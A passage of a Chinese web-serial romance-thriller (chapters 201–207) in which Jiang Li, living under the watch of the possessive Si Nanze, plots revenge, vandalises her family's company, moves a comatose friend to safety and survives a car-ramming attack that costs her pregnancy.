除了这三个形容词以外,姜梨认为还有一个词非常衬他。 人、面、兽、心。 “好。”姜梨轻声应了下来。 却是抬手推开了他的手腕,避开了他的触碰,站起来绕开他往外走。 司南泽脸上的浅笑逐渐消失,嘴唇紧抿成了一条直线,手捏成了拳头。 姜梨买了两束花,白菊和白山茶。 林遥和姜祈安在同一个墓地,姜祈安喜欢白菊,林遥喜欢白山茶。 两座墓碑都出奇的干净,没有一点灰尘,杂草也被人清理过,碑前都分别放着一束白菊和白山茶。 有人来过。 是沈翊?还是江淮之? 姜梨拿起江淮之碑上的那一束花,直接甩到了一边。花被砸在地上,落了一地的花瓣。 她跪地,磕了三个头。 从墓园出来回到车上,裴安问去哪的时候,姜梨直接说:“回司宅。” 司南泽没吭声,默许了。 从车上下来,姜梨也是走的很快,司南泽两大步追上去,一把拽住了她的手腕。 “你说你喜欢我,那其他男人的死活跟你又有什么关系?” 姜梨被他这句话惊住了,她不可置信的看着司南泽,“你在说什么?我从生下来就是叶伯母一手照顾的,叶辞和我是从小一起长大的!他现在重伤昏迷不醒,我想去看他一眼又有什……” 司南泽的眼尾泛红,“他又没有死!” “啪!” 第202章 她不是花瓶 姜梨打下去的这一巴掌,用了全力,她感觉自己的手掌都已经麻到失去了知觉。本文免费搜索:小说牛 司南泽的半张脸迅速红了起来,口腔里都弥漫着一股淡淡的血腥味。 “难怪你的手是冰的。你的血都是冷的,又怎么会热?”姜梨用力掰开司南泽捏着她手腕的手,挑眉冷笑:“冷血动物,当然暖不了人。” 这句话让司南泽的呼吸蓦然一窒,心脏突然袭上一针锥心刺骨的钝痛。他双目通红,看着姜梨的眼神满是难以置信。 双唇颤抖的说不出去一句话。 姜梨也毫不犹豫的甩开他的手,头也不回的离开。 —— 晚饭的时间,姜梨照常上桌。 她这几天吃不了太油腻的东西,所以司南泽跟家里的厨师打了招呼,做出来的菜式不仅没有辣,连油和盐都很少,非常的清淡。 换作以前,姜梨估计是吃不下去这么没有味道的饭菜,但是现在吃在嘴里却觉得正好。 不腻,也没那么反胃了,还多喝了一碗汤。 吃完她就走,连个多余的眼神都懒得给司南泽。 姜梨回到房间,戴上了假发和隐形眼镜,换了一身黑色的风衣,又变成了樱花。 夏栎几乎一整天都跟着她,一直守在门外。 见姜梨这副装扮出来,问:“这是要干嘛?” “去医院,见叶辞。” 夏栎瞪大眼睛:“妹妹,我们现在在司宅。” 她说这句话时眼睛一直往楼上瞟,刚刚裴安和司南泽一起上去了,应该是在书房谈论事情。 这么明目张胆的出门……真的行的通? 姜梨注意到夏栎的神色,夏栎当初在沈家卧底的时候怕是都没这么憋屈过。手机被监视不说,出个门、说句话都这么小心翼翼。 “这不是监狱,他也不是玉皇大帝。”她冷哼了一声,一边说一边往楼下走。 果不其然,被守在门口的裴书拦住了。 “今晚先生在别墅,没有他的允许,姜小姐您不能出去。” 姜梨从口袋里摸出枪,还没等他们反应过来,就被突然碎裂的花瓶吓得身体颤了一下。 她的枪装了消音器。 姜梨打扮成樱花的时候,那双戴了红色隐形眼镜的眼睛压迫感也会变得极强,又冷又戾,让人有一种姜梨和樱花是完完全全不同的两个人的感觉。 “多少钱我会赔。”姜梨微微偏头看着裴书,漂亮的桃花眼弯成了一对月牙,笑得无害。 握着的枪却对准了裴书的脑门,“你的命在司南泽那里值多少钱,我也能赔。” 说着就要开枪。 “阿愿。”千钧一发之际,司南泽出现在了楼梯口,他喊了她一声,姜梨就停了下来。 司南泽随即对裴书说:“送她们去。” 此话一出,裴安和裴书双双惊讶地看向他。 “是。”裴书回过神来,立刻去开车。 姜梨嘴角弯着的弧度变得更大,眼里却看不到一点笑意。她慢条斯理地收好枪,带着夏栎跟了出去。 等他们走了以后,司南泽叫来管家处理这个青瓷花瓶的尸体。 司南泽穿上了外套,对裴安说:“去时愿。” —— 姜梨提前给叶止打了电话,说她要去医院。 叶止知道江淮之已经回国了,他下意识就以为姜梨是和他一起来,于是问她:“要在樱洲待多久?” “……”姜梨知道他是误会了,车上还有裴安,她没有跟他解释太多,只说了一句:“不走了。” 就挂断了电话。 等叶止真的看到她的时候,他人生头一次觉得自己在风中凌乱。 樱花虽然只活跃在港城,但是他也多少听过一些描述。银发、红眸,行踪如同鬼魅一般。 她是樱花还不是重点,重点是送她来的人是裴书,司南泽的心腹之一,姜梨怎么会跟司南泽搞到一起去?! “你在这等我。”姜梨对夏栎说。 来到叶辞所在的病房,病床上躺着的人已经去掉了氧气罩,只是依旧处于深度昏迷状态。 姜梨的眼眶酸涩,哑声问:“快半年了,他还是没有一点反应吗?” 叶止摇头。 “那你查清楚是谁要害叶辞了吗?” 病房里陷入了一片诡异的安静,只有各种仪器的声音在不断地响。 叶止率先打破这份安静,“那你呢?你是怎么回事?江淮之不是说新婚夜那天你突然身体不舒服,你们一起出国了吗?怎么你现在会跟司南泽在一起?还有你为什么会是樱花?你到底在做些什么?你们到底怎么回事!” 姜梨:“江淮之是害死我哥的凶手,他不止一次的在私底下跟沈叙见面密谋,他还在火灾现场出现过,拿走了我哥搜集到的东西。” “从我知道真相的那一刻起,跟他待在一起的每一天都是煎熬。好不容易忍到了婚礼当天,我谋划了那么久,就是想在那一天取他的命 替我哥报仇!” “荒唐!江淮之怎么可能做出这种事?!” 姜梨的眼眶红了起来,极轻的说一句:“叶止哥,我有证据。十几张照片没有任何ps的痕迹,全部都是板上钉钉的证据。” 她一边说,一边将口袋里藏着的字条放进了叶止的口袋。叶止察觉到,眼神一下子变得警觉起来。 姜梨的身上,被人装了窃听器。 她讥讽的扯了扯嘴角,继续说:“可我没想到江淮之他早就识破了我的计划,他一早就知道我安排的喜娘是我的帮凶,所以我刺杀失败了,我那一枪打偏了。” “我现在和他,只是仇人。你和他是一个立场的人,我们不同道了。” 姜梨低下眼睛,对他说:“等叶辞醒了,替我给他问一声好。” 从监护室里出来,她的表情一点点冷了下来。 裴安以为他在手机上装监听的小伎俩很高级,殊不知早就已经被夏栎看穿了。 她的黑客技术虽然不如沈翊,但是也绝对是精英里的佼佼者。 不过都是为了藏拙,为了让司南泽把她们当成花瓶放松警惕,才会咬牙忍下来这种事情。 就像江淮之说过的那样,姜梨从来都不是只会求人的花瓶,而她身边的人,也全都是一个比一个厉害的精英。 她想救叶辞,没人能拦得住。 姜氏,也绝对不会落到别人的手里。 第203章 没有你我会死 叶止打开姜梨给他的字条,很简洁的两行字。搜索本文首发: 如文小说网 害叶辞的人是司南泽,今天晚上悄悄地把他转移到青森,不要告诉任何人。 后面附带了一串陌生的电话号码。 又是这个神神秘秘的青森,姜梨创办的到底是个什么样的疗养院? 他看了眼躺在床上没有生气的叶辞,随后摸出手机,打通了这个电话。 铃声响了三秒就被接通了,叶止说:“你好,是姜梨让我找你,我是叶辞的大哥。” “她有说是什么事吗?”是一个女人的声音。 叶止:“她说让我尽快把叶辞转移到青森疗养院。” “知道了,凌晨两点我会去医院找你。” ……… 姜梨从医院后门打了车,去了姜氏集团。 这条街上这个点几乎没有行人,她在附近的店面买了一桶油漆和毛笔,然后站在了公司的玻璃门前。 摸出手枪,对着门连打了好几枪,整片玻璃布满了裂痕,“哗啦——”碎了一地。 她拎起油漆桶,踩着玻璃渣走了进去。 一整个一楼都被她泼上了红色的油漆,一眼看过去血淋淋的一片,像极了命案现场。 拿起毛笔在地板上和墙壁上写了几个大字。 做完这一切,她站直身体,正对着监控镜头竖起了中指。 然后大摇大摆的离开了这片区域。 下个星期召开发布会?卖掉姜氏?做她的春秋大梦! 她再回到医院的时候已经十一点多了。 回到车上,裴书和夏栎都闻到了她带进来的一股油漆味。 但是谁都没开口问她,一路无言的回到了司宅。 大厅一片亮堂,司南泽一个人坐在沙发上。耀眼的白光下他的皮肤苍白如纸,衬得侧脸上的红痕更为明显。 神情落寞孤寂,脆弱易碎。 姜梨走到楼梯口时停了一下,扭头看向他,说了一句:“你上来,我有话跟你讲。” 两个人来到了三楼的书房。 书房装修风格很复古,给人一种年岁悠久的古老感,中间的一面墙上挂了一幅山水的水墨画,光线比其他地方柔和的多。 姜梨摆弄着书桌上的一盆仙人掌,手指肆无忌惮的触碰它的尖刺,然后轻声道:“我把姜氏给砸了,明天会上头版头条。” “监控拍到了我的脸,警察会抓我。” 司南泽先是愣了一下,然后回答:“我会处理好,没人敢抓你。” 姜梨扯了扯嘴角:“那如果下个星期的发布会要是开不了,你的堂哥韩聿言会放过我吗?” “到时候你又要怎么处理我?囚禁我?还是杀了我?” 她每说出一句,司南泽的眉头就皱紧一分,声音也微沉了下来:“你明知道我不会这样。” “可能以前我会信,但是现在……”姜梨冷笑了一声,一字一顿:“我不信你。” 她轻飘飘的话,宛如一把利剑直直插进司南泽的心口,痛到呼吸都变得困难。 姜梨从口袋里摸出那部手机,不轻不重的放到书桌上,发出“咚”的一声闷响,“你在我的手机上装了监听器。” “所以不要露出这么假惺惺的委屈表情。”姜梨带冷冷瞥了他一眼,声音是极致的冷淡,“我记忆里的韩聿泽可没有这么虚伪。” “你不相信我,又凭什么要求我相信你?” 仙人掌的刺被她拔掉了一大半,肉身的另一半变得有些光秃秃的。 司南泽看向那部手机,茫然了一瞬,而后反应过来是怎么回事。 裴、安。 他将目光移到姜梨身上,对她解释:“我从来没有怀疑过你,也没有在你的手机上装任何东西。我明天亲自带你去换新的,裴安我会处置。” 听到他的回答,姜梨的眼睛弯了弯,很自然的换了个话题,“为什么不让我见叶辞。” 司南泽:“你说你喜欢我。” “这有什么关联吗?” “既然喜欢我,那为什么要去看别人?” 姜梨并不理解,“他是我的朋友,也是我的亲人,跟我哥没区别。” 司南泽走到她旁边,看了眼被她拔了一半刺的仙人掌,伸出手挑起她的下巴,“如果韩野没有害你哥哥,你还会来我身边吗?如果谢鹤扬没有死在那场火灾里,如果叶辞没有昏迷,你还会选我吗?” “你有很多朋友,你有很多选择,没有我你也能过的很好。叶辞是昏迷了,不是死了。他有父母,有大哥,没有你他们也会把他照顾的很好。”他的眉眼染上了一层淡淡的阴翳,“可我不是,我只有你,没有你我会死。” “你说你喜欢我,那你的眼里、心里,就只能有我,其他男人的死活都跟你没关系。” 姜梨被迫仰头直视着他,司南泽捏着她下巴的手依旧冰凉。他的眼神是病态的执拗,让姜梨一阵恶寒。 “嘶——”姜梨的手有些抖,一不小心就被仙人掌的刺扎破了手指 ,尖锐的刺痛感让她吸了一口凉气。 食指在不断冒出血珠。 她抬起手,食指在司南泽的嘴唇轻蹭了一下,淡色的唇染上了一层鲜红的血液,像抹了口红般艳丽。 极致的红和过分的白形成了强烈的反差感。 司南泽愣了一下,眼神越来越深,他微微张嘴含住。 “你……”姜梨的睫毛颤了颤,立马将手缩了回来,低声道:“我可以答应你不再去看叶辞,但是我不想笼中鸟,我要自由。” “嗯。”司南泽舔掉唇瓣上残留的血迹,拉开书桌的抽屉,里面是摆放整齐的药盒,还有其他的简单医疗用品。 找到酒精棉签,把她食指上的血渍擦拭干净,消毒。 司南泽问她:“不生气了?” 姜梨眼里的冷气散开,身上的刺也被收了回去,她轻轻哼了一声:“反正我给你惹了麻烦,你明天的休息日是没有了,抵债了。” 扔掉棉签,司南泽无奈又宠溺的弯了弯唇角,弯腰凑近她,轻轻在她嘴唇上碰了一下。 “上去吧,吃完药该休息了。” 姜梨走后,司南泽的神情淡了下来。 不一会儿就把裴安喊了上来。 司南泽走到裴安面前,毫无预兆用手背打在了他的脸上,裴安的嘴角渗出了血迹。 他单膝跪在司南泽面前,低着头不说话。 司南泽将手机格式化后扔到他面前,“去领罚,这一段时间你的任务交给裴墨来处理。” 第204章 各凭本事 凌晨一点,叶辞顺利被转到了青森疗养院。本文免费搜索:小说魂 来接应他的是包裹严实的纪繁星,还有楚卿然。 两个人拉下口罩的时候叶止只觉得后脑勺仿佛被人重重的敲了一下,天旋地转。 新闻上说失踪的人,死讯传的满天飞的人。 现在,就活生生的站在他面前。 “谢鹤扬……不会也是假死吧?” 纪繁星瞥了他一眼,没说话。楚卿然点头,嗯了一下,“叶辞也知情。” 叶止沉默了。 姜梨创办的青森疗养院不是医院,而是避难所。这小丫头片子,面上看着不显山不露水,背地里倒是把所有事情都调查的清清楚楚。 知道的、不知道的全都了解了,危险的、不危险的全干了。 “你不能去。”叶辞被抬上了车,纪繁星对叶止说:“去的人太多会不安全。” 这是姜梨事先交代她的事情,里面躺着的那个植物人还暂时不能让其他人知道。 叶止最终没有上车,目送着他们的车疾驰而去,融入夜色里再也看不见。 回到病房,看着空荡荡的床铺,叶止的眼神逐渐变深。 —— 姜氏大楼被人流围的水泄不通,围观的人指指点点,互相窃窃私语。 门口的空地,以及厅内最中央的墙上写了几个大字:敢换继承人,我就杀了你这个抛夫杀子的毒妇。 “什么换继承人?” 早上赶来公司的董事会面面相觑,满脸的茫然,而后纷纷朝着已经僵在原地的楚云看过去。 “楚总,这是什么意思?” 楚云在一堆狼藉里精准的看到了一样东西,她被吓得尖叫了一声,耳边嗡嗡作响,董事会的话她一句都没听清。 仓皇的在垃圾堆里把那个东西捡了起来,她颤抖着双手摸出手机,打通了韩聿言的电话。 已经有人报了警,警方调取了监控,一行人上了二楼的会议室播放录像。 画面里,清晰的拍下了姜氏被砸的全过程。那个银发红瞳戴着口罩的人在扔下东西以后,特意走近摄像头,竖起了中指。 那双眼睛里是挑衅、是蔑视。 最后还一枪打烂了监控器的镜头,反复观看了好几遍,隔着屏幕都能感受到她身上的嚣张气焰。 警察又去调取了街边的监控,根据行动轨迹,最后将目标锁定在了司宅。 正要出警去抓人,一直站在楼下的楚云对几名警察灿然一笑,说道:“我们这边选择不追究任何责任,不用去抓人了。” 此话一出,众人皆是一愣。 这已经是非常恶劣的事件了,非法闯进公司破坏公物不说,还进行了恐吓。歹徒行径疯狂,搞不好真的会威胁到楚云的性命。 带队的警员将这些都告知了楚云,她也还是坚持不追究任何责任,还声称是一场误会。 就这样,这件事就这么被糊弄了过去。 但是姜氏确实乱成了一锅粥,几个董事知道了楚云要将公司卖出去的事情,吵得不可开交。 楚云现在没空管这件事,手捏着口袋里的东西,一颗心七上八下,脑子乱成了一团浆糊。 她留下吵成一团的董事会,头也不回的离开了姜氏大楼。 —— 司宅,二楼书房。 韩聿言坐在椅子上,长腿交叠,红底皮鞋擦的锃亮。 他抬手扶了一下鼻梁上架着的眼镜,眸子微微眯起,开口道:“揜公司衰咗我哋好事,仲敢照镜头挑衅,你而家重重畀我出面畀楚云唔追究。阿泽,你真系好大度。”(砸公司坏了我们的好事,还敢对着镜头挑衅,现在你还还让我出面让楚云不追究。阿泽,你真的好大度。) 司南泽像是听不出他语气里的不满,坐在老板椅上,慵懒随意,“多谢四哥。” 韩聿言的眼神冷了下来,唇边的笑意消失,嘴角的弧度拉的笔直,继续用粤语对他说:“我很需要姜氏这个路子,现在出了这么一件事,董事会那边现在全部乱了套,已经吃到嘴里的肉就这么吐出去了,你不该给我一个解释吗?” 解释? “你是在质问我?”司南泽眼皮一敛,眼神骤然沉了下来,“那批没能成功交易的货,我有让你给我解释吗?叶辞为什么没死透,我有问你要解释了吗?我帮你去局子里捞过楚云多少次,你们是怎么回报我的?” “你的人,不是在落网就是在落网的路上,你有什么资格教我做事?” 空气逐渐凝固,气氛下降到了冰点。 司南泽嗤笑了一声:“楚云,阿愿不会留。我也不会一而再再而三的去救一个蠢妇,她的命全看她自己。阿愿赢,她就死。她赢过阿愿,她就能活。” 韩聿言的声音似是结了冰:“阿泽,你这是要助纣为虐吗?” “阿愿作为樱花帮了我们多少你不是不清楚, 她可比楚云有用多了。”司南泽把玩桌上的仙人掌,上面剩下一半的刺也被他剔掉了,现在是一个光秃秃的绿球,“姜氏就算是落到阿愿手里,也会是我们的天下。” 他想帮姜梨夺姜氏?! “刺啦——!” 椅子划过地板发出刺耳的摩擦声,韩聿言猛地站了起来,伸出手指着他:“你疯掉了!” “她是缉毒警的妹妹!谁知道她几分真几分假?!我能帮你把她弄回来待在你身边已经是我最大的让步了!” “她要楚云的命我可以不管,但是姜氏是扩大势力最重要的踏板,一定不能落到她手里!” 沉默许久,司南泽笑出了声。 “我没说我要帮她,我只是不阻止她。”他摸出一个烟盒,抽出一支烟咬在了嘴里。 “咻!”的一声,火柴被划亮,烟被点燃,升腾起一缕蓝色的烟雾。 司南泽咬着烟,漫不经心:“各凭本事,谁的手段更高明公司就是谁的,我不插手,你也别把那些肮脏龌龊的手段用到她身上,否则我们的合作关系就到此为止。” 韩聿泽他惹不起。 姜梨不过是一个乳臭未干的丫头片子,只要韩聿泽不插手帮她,她没有人脉,能翻起多大的风浪? 这场谈话不欢而散。 司南泽看着他离开的背影,唇边扬起来一抹讳莫如深的笑。 喜欢他来时风起云涌。 第205章 江淮之脑子不正常 韩聿言去了楚云的住处。本文免费搜索:小说宅 用指纹解锁,打开门,里面黑漆漆的。窗帘拉的紧密,一丝光都不透出来。 楚云缩在沙发的角落,浑身颤抖,手里还抱着一个铜镜,嘴里不断地念叨着什么。 披头散发的样子像一个疯子。 见韩聿言走过来,她扔下铜镜,手死死抓住他的衣领,“姜梨!姜梨来找我寻仇了!她知道了,她什么都知道了!” “你糊涂了。”韩聿言抱住她,轻声安抚:“姜梨已经死了,不会再回来了。在公司闹事的人是司宅新来的保镖,帮很多人办过事,今天是一场误会。” 楚云哭得满脸泪痕,恐惧萦绕着她,让她的面目变得狰狞,她颤颤巍巍的指了一下桌子上放着的一枚沾了血的红钻戒指,“这是姜梨的,验尸的时候她手上就戴着这枚戒指!她回来了!她没死!” 韩聿言拍着她的背:“我跟你保证,姜梨已经死了,死人怎么能寻仇?这枚戒指是假的,都是假的。你放心,有我在没有人能害你。” “等姜氏的事情一解决,我就把你送出国,我们以后安安稳稳过日子,好吗?” 楚云的情绪逐渐平和了下来,手紧紧攥着韩聿言的衣袖,点点头。 韩聿言从楚云那里出来,那张柔情蜜意的脸一瞬间垮了下来。他拍了拍被楚云抓皱的衣袖,那双眼里满是嫌恶。 —— 陆七来了秋水湾,手里还扶着已经喝到烂醉的江淮之。 姜梨和江淮之的事情,陆七在姜梨跑了的第二天就知道了,韩斯年说的时候他都不知道该说什么好。 两个人好不容易苦尽甘来,有情人终成眷属了,又突然搞这么一出事,又散了。 江淮之的酒量不差,能醉成这样指定是把自己往死里灌的。 用他的指纹解了锁,架着他往卧室里送。 陆七把他扔到了床上,然后去开灯。 房间被照亮的瞬间,陆七直接傻在了原地,脊背僵直,头皮一阵阵的发麻。 满墙壁贴的都是姜梨的照片。 江城和北城,樱洲和美国,最后是港城。 学校里,家里,大街上,医院里。 偷拍、自拍、他拍、婚纱照。每个不同的年龄段,全部都有。 最大的一张是他洗出来的海报,被贴在最中间,在他高中毕业典礼拍下的那一张合照。 全是姜梨,满屋子的姜梨。 看的陆七密集恐惧症都要犯了。 把人家的照片贴一屋子,然后睡在这里。这他妈是正常人能干出来的事吗? 躺在床上的江淮之突然一把扯住了陆七,嘴里一直在喊:“阿愿,姜时愿……” “卧槽!我他妈是你兄弟!不是你老婆!”陆七右眼皮一跳,重重的甩开他的手,跑出了卧室。 凌晨的时间里,简清时的手机滴滴答答响了一个小时。 全都是陆七抓狂的咆哮。 简清时被吵醒,抓起手机骂了他60秒,然后反手拉黑。 几百年不发朋友圈的陆七,更新了一条。 “交友需谨慎,会被兄弟当成老婆喊一宿。” 第二天,陆临评论:不是我。 司南赫:也不是我。 简清时看了眼陆七给他发的轰炸消息,然后“呲”了一声,评论:他昨晚做春梦,梦到江淮之了。 五分钟后,陆七又删掉了这条朋友圈。 江淮之现在脑子不正常,他会揍死他的。 —— 姜梨入职了司氏星爵,职位是总裁助理。 秘书部除了裴安和裴书以外还有两个,裴墨和裴诗。 公司里的其他员工在私底下戏称他们是星爵娱乐f4,是司南泽最信任的人,公司里最重要的工作以及其他隐秘工作都是他们处理。 姜梨找到空闲的机会,找到看上去最好相处的裴诗问了一句:“你们四个人是亲人吗?” 裴诗的话虽然也不多,但是f4里就她一个女人,长相也柔和,跟姜梨的年纪差不多,距离感没有那么重。 其他三个人,跟冰雕就没有什么区别。 “不是。”裴诗摇头,“我们是孤儿,差点死掉,是先生救的我们,名字也是他取的。” 姜梨一愣,没想到他们的身世会是这样的。 “那你们是不是跟着他很久了?” “十年,裴安和裴书更久。”裴诗抬起眼睛打量着她,突然说了一句:“前段时间港城那边有户人家举办了一场盛大婚礼,公司里的人都在说你跟新娘子很像。” 姜梨对着她笑了笑,“不仅如此,还有人说我长得像已经死去的姜家二小姐和姜家大少爷,我刚刚也搜过照片,只可惜什么都没搜到。” 她假死之后,网上有关于姜梨的所有照片一个星期不到就消失干干净净,就好像这个人从来 都没有存在过一样。 至于那场婚礼,有韩家这座大山,那些宾客就算是拍了也不敢发出来,在网上当然不会搜到。 她在上班之前就已经剪短了头发,来了一个形象大改变,很中性。只要她不承认,别人也就仅仅只会觉得是撞脸。 裴诗没再继续说这个话题,幽幽讲了一句:“我还有个姐姐,但是她前几个月去世了。” 姜梨觉得她有些奇怪,没说什么,只轻轻道了一句:“节哀。” 聊天就此终结。 不想让公司的人知道她和司南泽的关系,会被诟病走后门。她又待不了多久,不想惹出无关紧要的事,懒得去处理。 所以每天上下班都是夏栎来接她,司南泽给她配了一辆低调的车。 车上夏栎和姜梨也都检查过了,没有黑科技。少了监视,两个人说话都方便了不少。 “隐形摄像头装好了。”夏栎对她说:“姜氏召开的新闻发布会还是没有推迟,他虽然有反应,但是还是醒不过来。再这样下去,沈翊就要直接去杀人了。” 姜梨的头靠着车窗,面色不改,“急什么?我手里的筹码多了去了。要不是想让楚云死得更透一点,我根本就不会救那个畜生。” “到时候如果他还是醒不过来,我就不会再等了。” 夏栎握着方向盘的手捏紧,叹了一口气后没再说话。 喜欢他来时风起云涌。 第206章 要翻车了 下班以后,姜梨和夏栎坐在车里观看隐形摄像头拍出来的画面。本文搜:常看书 免费阅读 是夏栎昨天在楚云家走廊门口装的摄像头。 “你让我装摄像头有啥用?” 她们看半天了,画面里一直都没有出现楚云的身影,她一直都没有出门,也没有人进出她家。 姜梨靠在座椅上,打了个哈欠,“没什么,就是想知道她能被吓成什么样子,就想看她发疯。” 夏栎:“…….可惜了那么好看的红钻。” 姜梨在现场扔下的红钻戒指是真的,时愿这个替死鬼上戴的是假的,现在怕是早就已经被烧成灰了。 验过尸的楚云突然看到死人的东西,当然会被吓的魂飞魄散、六神无主。 本来她是想把姜祈安送的蓝宝石项链留在现场的,但是那是他留下来的唯一一件遗物,舍不得。 所以就放了那枚红钻戒指,反正她已经有一对婚戒了,那枚红钻不要就不要了。 姜梨挑了挑眉:“舍不得孩子套不着狼。” 夏栎闻言看了眼她的腹部。 揣着崽就敢与狼共舞,这个孩子都豁出去了,更何况是别的东西? 就在这时,画面发生了变化。 韩聿言去了楚云家,门刚打开,两个人就吻在了一起。 “轰”的一下,一道雷劈在了姜梨的头上。 她的眼睛不受控制的瞪大,和旁边同样惊呆了的夏栎面面相觑。 “感情楚云不是脚踏两条船啊,是三条。”夏栎觉得自己的眼睛都不干净了,刚刚的画面太有冲击力了,被伤到了。 姜梨不知想到什么,瞳孔缩了一下。 她做的那场梦,第一次去韩家的时候楚云和韩聿言之间就很奇怪。 心里有了某种猜测,姜梨“啧”了一声,对夏栎挑了一下眉,“今晚咱们干一票大的。” —— 司宅。 此时的大厅里坐着三个人,空气却陷入了诡异的安静。 司南衍抬眼看向一处空了的地方,出声问道:“四哥,我放在那里的青瓷花瓶呢?” 他就喜欢收藏这些老古董,那是他花了大价钱拍回来花瓶,宝贝的很。 “被一只野猫给扑倒摔碎了,到时候遇上好的再还你。” 他这么说,司南衍也不计较。 司南泽说好的东西,那肯定是上等品。 不过司宅在山上,怎么会有野猫跑进来? 司南泽端起茶杯抿了一口,然后放下,抬起眼睛看向对面主位上的男人,“三哥觉得这茶怎么样?” 司南赫轻轻放下茶杯,“有些酸。” 茶叶储存的不好或者是泡茶的手法不对,都会产生酸味。 上好的普洱茶叶,不可能存在储存问题。 司南泽将茶杯里的茶倒了干净,轻叹了一口气,“今天的茶是佣人泡的,只可惜浪费了这么好的茶叶。从前这些事情都是苏姨做,二姐也会。论起茶艺,没有几个人能比得上苏姨和二姐。” “我想,要不还是把苏姨叫回来吧,三哥应该很想念她。” 他从来不会说多余的话、提多余的人,却借着茶的名义反复提了苏菱和南诗奕,甚至还说出要把苏菱请回来这种话。 是挑衅,是威胁。 司南赫将茶杯重重的放在了桌子上,里面的茶水都溅了出来,他的声音冷了下来:“司南泽,你发什么疯?” “要真算起来,江淮之的妈妈杀了你的妈妈,你们两个可是仇人。”司南泽的眼睛微微眯了一下,“亲兄弟你不帮,去帮仇人,我们两个到底是谁在发疯?” “与其和外人沆瀣一气,倒不如跟我和南衍合作,把司氏再次推上顶端,把江淮之拉下来。” “苏姨和我们才是你的亲人,江淮之是外人。” 他说的隐喻,但司南赫听得明白。 司南泽是要他在榆北苏家和江淮之中间选一个。 “我知道三哥重情重义。你放心,在你没选好之前,我会好好对待苏姨的。” 司南赫脸色一变,将茶几踹到一边,摆放的茶具噼里啪啦摔到了地上。 他一把揪住司南泽的衣领,“你这话是什么意思?你把苏姨怎么了?!” 司南衍刚想站起来,司南泽看了他一眼,示意他坐下。、 “别这么急躁,我说了,在你选好之前我不会对她怎么样。等你选好了,我就带你去见她。”司南泽掰开司南赫揪着他衣领的手,“不过到时候你见到的是活人,还是尸体,全看三哥你。” 慌张走出别墅的时,一直守在大门口的裴书喊住了司南赫。 他拿出一包白色的粉末递给司南赫,“三少爷,这是我们先生吩咐的。” 司南赫看着那一包东西,双目变得赤红,呼吸都变得急促起来。他的拳头捏紧,青筋鼓起。 僵持了三分钟,司南赫最后将东西接了过来。 —— 姜梨和夏栎偷偷潜进了已经被查封的沈家别墅。 里面还保持着原貌。 走进沈月汐和沈君临住过的卧室,四处翻找。 姜梨戴 着手套,找到沈月汐和沈君临使用过的牙刷,提取他们的dna。 夏栎则是在沈月汐的床上,找到了几根带有毛囊的头发,全部都收集起来,装进了塑料膜里。 做完一切,两个人轻车熟路的翻窗逃离出了这栋别墅。 在二人走后,一个人影飞快的从角落里闪了过去。 繁华的街道人来人往,姜梨和夏栎将车停在了停车位上,混进了人流中。在跟一个戴着鸭舌帽的女人擦肩而过时,夏栎把搜集到的所有样本以迅雷不及掩耳之势放进了她的衣服口袋里。 逛了十几分钟,两个人才开车回司宅。 车子在空旷的马路上飞速行驶,就在这时,前方的岔路口突然冲出来一辆黑色的轿车,目标明确的朝他们直撞过来。 夏栎被这突如其来的变故吓到了,本能的踩下刹车,猛打方向盘。 “别踩刹车!”姜梨脸色巨变,想要阻止她已经来不及了。 车轮摩擦地面发出极其刺耳的声音。 姜梨的一只手紧紧抓着扶手,另一只手护住了肚子。一张脸变得惨白如纸,全身的血液都开始凝固。 完了!要翻车了! “砰!” 第207章 孩子保不住了 姜梨她们在翻车的最后一刻从车上跳了下来。搜索: 奖励一把 本文免费阅读 身后紧跟着的黑色轿车撞上翻了的红旗,将车怼上了护栏。又是砰的一声巨响,四脚朝天的车燃起了火,彻底报废。 黑车也因为这样自杀式的撞击受到了重创,车头几乎报废,冒起了黑烟。 夏栎和姜梨顾不得骨头断裂的痛,求生的本能让她们立刻从地上爬了起来,脑子里只有一个念头:跑! “追!楚总说了,绝对不能让她们活着逃走!”越野车上的两个男人短暂眩晕了十几秒,反应过来就要开车去撞姜梨和夏栎。 发动机发出轰鸣声,宛如刺耳的催命乐章。 他们就是想要她们死在这! 就在越野车即将朝着两个人撞过去的时候,一辆越野车冲了出来,直接撞上了企图谋杀的黑色轿车。 “砰!”的一声,那辆黑色的轿车落了一个和红旗一样的下场。 亮着车灯的越野停到了姜梨和夏栎旁边。 “上车!” ……… 医院门口。 男人解开安全带下车,拉开车的后门,想把后座的姜梨抱下来,却被她推开了。 “已经到医院门口了,你快走,我和夏栎自己去医院。”姜梨虚弱的靠在夏栎的身上,额头上布满了一层细密的汗珠,碎发被汗水浸湿,黏在了额角。 她强撑着身体坐起来,想要自己下车。双腿也不知是因为剧痛还是害怕,软的没法站起来。 车内都弥漫着一股血腥味。 男人不管她拒绝,拦腰将她抱了出来。 “谢鹤扬……”姜梨看着他的侧脸,眼皮越来越沉重,说话的声音也越来越小,后半句已经完全听不见她在说什么。 抱着她的谢鹤扬能清楚的感受到,姜梨在发抖,不知道是痛的,还是在害怕。 眼泪从她的眼角落了下来,流进了头发里。 车座上全部都是她的血,比上次她中枪流的血还要多得多。 除了身上的擦伤,所有的血都是从下身流出来的。谢鹤扬不是傻子,这代表什么他也明白。 肚子里的孩子肯定是保不住了。 他的喉结上下滑动,低头用脸蹭掉了她的眼泪,“你放心,我不会被抓到的。” “孕妇,跳车受到撞击,两个月。”夏栎跟医生简单说明了情况,签了名字以后姜梨直接被送去了手术室。 谢鹤扬不敢多留,看着姜梨进了手术室,跟夏栎交代了几句就离开了。 他压低帽檐,低着头快速地往外走,中途却撞到了一个人。 “不好意思。”谢鹤扬闷声道了歉,来不及听对方的回答,头也不回的走出了医院的大门。 陆临扭头看了眼谢鹤扬匆忙离开的背影,又抬头看了眼已经不滴的吊瓶,抿了抿唇没说什么。 身边跟着的助理想要叫停谢鹤扬,却被陆临拦住了。 “在急诊,这个男人的身上和手上又都是血,估计是家里人出什么意外去世了,去叫医生重新扎吧。” 夏栎去拍了片子,左手臂骨折、全身多处软组织挫伤。好在并不严重,并不需要手术,打了石膏固定。 做完这些,她立刻冲去手术室。她的衣服上都是姜梨的血,身上也都染上了浓烈的血腥味,一路上引来不少人的目光。 在拐角处,一头撞在了一个人的身上。 夏栎吃痛的闷哼了一声,眼前眩晕了几秒,低头道歉:“不好意思!” 陆临看着同样满身血的女人,陷入了沉默。 他抬头看向输液管,又不滴了。 “……”真是见了鬼了。 “我妹妹还在手术,不是故……”夏栎没听到声音,抬起头看他的时候表情僵在了脸上,声音也戛然而止。 